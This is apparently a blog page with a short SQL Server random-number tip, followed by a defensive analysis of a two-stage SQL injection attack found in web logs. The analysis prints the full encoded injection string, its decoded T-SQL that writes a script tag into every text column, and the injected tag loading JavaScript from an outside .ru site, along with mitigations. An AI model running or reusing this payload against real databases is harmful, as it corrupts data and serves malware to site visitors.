Quickly Randomise a number in SQL Server

How to get a true random number in SQL Server

We all know that the RAND() function in SQL Server doesn't generate a true random number and people have come up with many ways to randomise the "seed" that is passed into the RAND() function to make it more "random".

However a quick way in SQL 2005 + to get a random number or randomise a recordset is to use the NEWID() function which generates a GUID.

To randomise a recordset e.g to show a random sub-select of 5 out of 100 records you would just do this:

SELECT TOP 10 *
FROM   MyTable
ORDER BY NewID()

You will see that on each execution a different recordset is returned.

How To Generate a single Random Number between 0 and 9 with NEWID()

If you want a single number e.g to do a simple test like@

IF @No < 5 
  Do X 
Else
  Do Y

Then you could use the NEWID() function in conjunction with some casting and the varbinary function.

For example this code below will return a random number between 0 and 9.

DECLARE @RandomNumber INT

-- roll a dice to get a number between 0 and 9

SELECT @RandomNumber = CAST(RIGHT(CAST(ABS(CAST(CAST(NEWID() AS VARBINARY) AS INT)) as VARCHAR),1) as INT)

I noticed that if you used a LEFT([code],1) instead of RIGHT([code],1) you would get a large sample of 1's in your result set which would skew the results whereas as the RIGHT function gives a more random sample.

Obviously you could change the second parameter of the RIGHT function to get longer digits e.g use RIGHT([CODE],2) to get a random number between 0 and 20.


There you go a simple way to randomise either a recordset or get a single random number.

Two Stage SQL Injection Attack

SQL Injection in two easy steps

Recently I came across the following SQL injection exploit which I thought I would post about as it tries to deliver its payload in two steps and unless you have actually spent the time decoding the varbinary strings they use you might not realise what its doing. Its based on a very successful exploit which has been doing the rounds for a couple of years now and makes use of an encoded varbinary string which is then decoded to insert malicious code into your system.


Step One - First attempt at insertion

So if you are checking your log files or logger database and see strings like the following in your querystrings then you probably know you've been crawled by a hackbot.

dEClaRe%20@s%20VaRchaR(4000);seT%20@S=CASt(0X6445434C415265204054205641724348617228323535292C406320566172434861522832353529204465436C615245207441626C455F435552734F5220635572534F5220466F522053454C65437420412E6E614D452C422E4E614D452066726F4D207379734F626A6563547320612C737973434F4C754D6E73204220776865524520612E69643D622E496420414E4420612E78545950453D27552720616E642028422E78545970653D3939204F5220622E78545970653D3335204F5220622E78547950653D323331206F7220422E58747950453D31363729206F50654E207461426C455F437572736F72206665744368204E4558742046524F6D207441624C655F637572736F5220694E544F2040742C4043205748696C6528404066455463685F7354415475533D302920426547496E20455865432827757064417465205B272B40542B275D20736554205B272B40632B275D3D525472694D28634F4E7665727428766172434841722834303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363437343633373032453732373532463631363437333245364137333345334332463733363337323639373037343345206153207661526348417228343929292729206645544348206E6558542046724F6D205441424C455F435572734F7220696E546F2040742C404320656E4420636C4F7365205461424C655F635552734F72206445614C4C6F63617465207461426C455F635572736F5220%20aS%20vaRchAR(4000));EXEc(@S);--

Now if you want to know what this is doing you should be very careful so that you don't actually run the exploit and do the hackers work for them! So copy and paste and only use a Query Analyser window that's not connected to any live database.

First thing to do is URLDecode the string so that you get the spaces and symbols back. Use the great Hackbar add-on by FireFox or run it through a function such as UNESCAPE, URLDecode etc.

Then make sure you remove the end part which execute the string e.g ;EXEc(@S);-- and replace it with a PRINT statement e.g:

DECLARE @S VaRchaR(4000);
SET @S = CAST(0X6445434C415265204054205641724348617228323535292C406320566172434861522832353529204465436C615245207441626C455F435552734F5220635572534F5220466F522053454C65437420412E6E614D452C422E4E614D452066726F4D207379734F626A6563547320612C737973434F4C754D6E73204220776865524520612E69643D622E496420414E4420612E78545950453D27552720616E642028422E78545970653D3939204F5220622E78545970653D3335204F5220622E78547950653D323331206F7220422E58747950453D31363729206F50654E207461426C455F437572736F72206665744368204E4558742046524F6D207441624C655F637572736F5220694E544F2040742C4043205748696C6528404066455463685F7354415475533D302920426547496E20455865432827757064417465205B272B40542B275D20736554205B272B40632B275D3D525472694D28634F4E7665727428766172434841722834303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363437343633373032453732373532463631363437333245364137333345334332463733363337323639373037343345206153207661526348417228343929292729206645544348206E6558542046724F6D205441424C455F435572734F7220696E546F2040742C404320656E4420636C4F7365205461424C655F635552734F72206445614C4C6F63617465207461426C455F635572736F5220 aS vaRchAR(4000))
PRINT @S

Now we need to find out what that encoded varbinary is doing so we run that SQL statement to view the contents of the variable @S which returns the following code:

dECLARe @T VArCHar(255),@c VarCHaR(255)

DeClaRE tAblE_CURsOR cUrSOR FoR

SELeCt A.naME,B.NaME
froM sysObjecTs a,sysCOLuMns B
wheRE a.id=b.Id AND a.xTYPE='U' and (B.xTYpe=99 OR b.xTYpe=35 OR b.xTyPe=231 or B.XtyPE=167)
oPeN taBlE_Cursor fetCh NEXt FROm tAbLe_cursoR iNTO @t,@C

WHile(@@fETch_sTATuS=0)
BeGIn
EXeC('updAte ['+@T+'] seT ['+@c+']=RTriM(cONvert(varCHAr(4000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F7777772E61647463702E72752F6164732E6A733E3C2F7363726970743E aS vaRcHAr(49))')
fETCH neXT FrOm TABLE_CUrsOr inTo @t,@C enD

clOse TaBLe_cURsOr

dEaLLocate taBlE_cUrsoR 

Notice the lovely case syntax aLl uP aNd DoWn to get round anyone who forgot to make any regular expression tests case insensitive! It must be working on some sites otherwise they wouldn't be doing it.

Notice the long CAST statement in the middle of the UPDATE. This is different from previous similar attacks which would just insert a reference to a SCRIPT tag which referred to a virus infected site. They are trying to insert this encoded string into all the textual columns it can find in your database. I wonder what that string contains?


Step Two - Unpacking the newly inserted exploit

Well just after the first attempt on this page another attempt is made almost instantly with another payload which when looking at the log file or database seems just like the first one. However the injection string is slightly different and when its expanded out is:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR

SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH
NEXT FROM Table_Cursor
INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN

EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0')

FETCH NEXT
FROM Table_Cursor
INTO @T,@C END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor 

So this second hit on your system is designed to unpack the previous attempts injection of an encoded string into your textual columns. Its looking for any textual columns that when converted to VARCHAR(4000) contain a SCRIPT tag and converting them to text to expose this SCRIPT tag to any web pages that display the contents of these columns.

So finally to find out which website this two stage attack is trying to deliver unsuspecting victims to we need to go back to the first payload and print out the contents of that long CAST statement in the middle of the UPDATE e.g:

PRINT cAsT(0x3C736372697074207372633D687474703A2F2F7777772E61647463702E72752F6164732E6A733E3C2F7363726970743E aS vaRcHAr(49))

<script src=http://www.adtcp.ru/ads.js></script>

I wonder what goodies can be found on this site!

Hopefully this exploit doesn't take too many victims but if it does you can use my SQL clean up script to remove any SCRIPT tags from your SQL database.

To avoid being caught out by attacks like this you should do as many of the following as possible:

• Lock down your system views so they cannot be accessed by your website logons.
• Put all your CUD (create, update, delete) statements in stored procs with execute permission and then only grant your website logon select permission.
• Use parametrised queries instead of string concatenation to build SQL statements.
  
• Sanitise all input parameters used for SQL that are submitted from your website.
• Create some simple ISAPI rules to forward requests like these to 403 error pages.
• Ensure any error messages are hidden from your website users.

Read this article of mine for more details.